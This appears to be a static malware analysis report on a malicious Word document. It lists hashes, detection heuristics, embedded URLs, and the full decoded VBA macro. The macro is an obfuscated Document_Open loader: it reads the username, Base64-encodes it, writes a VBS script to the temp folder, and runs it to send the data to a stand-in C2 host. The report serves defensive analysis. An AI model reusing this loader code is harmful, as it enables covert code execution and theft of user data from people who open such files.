Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 a2be6295947af693…

MALICIOUS

Office (OOXML) / .DOCX

18.7 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-07
MD5: ecaef8b2109d8f5036f0edbf1000445a SHA-1: ca9ba5fa968719a1ecf59ddb721c18696aa072e4 SHA-256: a2be6295947af693ca7c55af2bcafafa22703e533c683a99a0f32e309680563a
238 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        username = Environ(Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(78) & Chr(65) & Chr(77) & Chr(69))
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://uithcm-my.sharID= In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://uithcm-my.sharepoint.com/personal/23520498_ms_uit_edu_vn/Documents/In document text (OOXML body / shared strings)
    • https://uithcm-my.sharepoint.comIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3378 bytes
SHA-256: f6a9ab8208c186a1041c21c5d1237cde66671e578bdfa8e8ea7d7ee2d739eb50
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim vbsFilePath As String
    Dim vbsScript As String
    Dim shell As Object
    Dim username As String
    Dim encodedUsername As String
    Dim c2URL As String
    
    ' Discovery: Get the current username
    username = Environ(Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(78) & Chr(65) & Chr(77) & Chr(69))
    
    ' Encode the username in Base64
    encodedUsername = EncodeBase64(username)
    
    ' Command and Control: Construct the C2 URL with the encoded username
    c2URL = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(101) & Chr(120) & Chr(97) & Chr(109) & Chr(112) & Chr(108) & Chr(101) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(99) & Chr(50) & Chr(63) & Chr(100) & Chr(97) & Chr(116) & Chr(97) & Chr(61) & encodedUsername
    
    ' Execution: Create the VBS script content
    vbsScript = Chr(83) & Chr(101) & Chr(116) & Chr(32) & Chr(120) & Chr(109) & Chr(108) & Chr(72) & Chr(116) & Chr(116) & Chr(112) & Chr(32) & Chr(61) & Chr(32) & Chr(67) & Chr(114) & Chr(101) & Chr(97) & Chr(116) & Chr(101) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(40) & Chr(34) & Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80) & Chr(34) & Chr(41) & Chr(10) & Chr(120) & Chr(109) & Chr(108) & Chr(72) & Chr(116) & Chr(116) & Chr(112) & Chr(46) & Chr(79) & Chr(112) & Chr(101) & Chr(110) & Chr(32) & Chr(34) & Chr(71) & Chr(69) & Chr(84) & Chr(34) & Chr(44) & Chr(32) & Chr(34) & c2URL & Chr(34) & Chr(44) & Chr(32) & Chr(70) & Chr(97) & Chr(108) & Chr(115) & Chr(101) & Chr(10) & Chr(120) & Chr(109) & Chr(108) & Chr(72) & Chr(116) & Chr(116) & Chr(112) & Chr(46) & Chr(83) & Chr(101) & Chr(110) & Chr(100)
    
    ' Write the VBS script to a temporary file
    vbsFilePath = Environ(Chr(84) & Chr(69) & Chr(77) & Chr(80)) & Chr(92) & Chr(116) & Chr(101) & Chr(109) & Chr(112) & Chr(46) & Chr(118) & Chr(98) & Chr(115)
    Open vbsFilePath For Output As #1
    Print #1, vbsScript
    Close #1
    
    ' Execute the VBS script
    Set shell = CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))
    shell.Run Chr(119) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & vbsFilePath, 0, True
End Sub

Function EncodeBase64(ByVal str As String) As String
    Dim xmlDoc As Object
    Dim xmlNode As Object
    Set xmlDoc = CreateObject(Chr(77) & Chr(83) & Chr(88) & Chr(77) & Chr(76) & Chr(50) & Chr(46) & Chr(68) & Chr(79) & Chr(77) & Chr(68) & Chr(111) & Chr(99) & Chr(117) & Chr(109) & Chr(101) & Chr(110) & Chr(116))
    Set xmlNode = xmlDoc.createElement(Chr(98) & Chr(54) & Chr(52))
    xmlNode.DataType = Chr(98) & Chr(105) & Chr(110) & Chr(46) & Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52)
    xmlNode.Text = str
    EncodeBase64 = xmlNode.NodeTypedValue
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 8eed5e1784efb42a6d79484de63660c754c649ff9944180f75a8226f3f7f3d06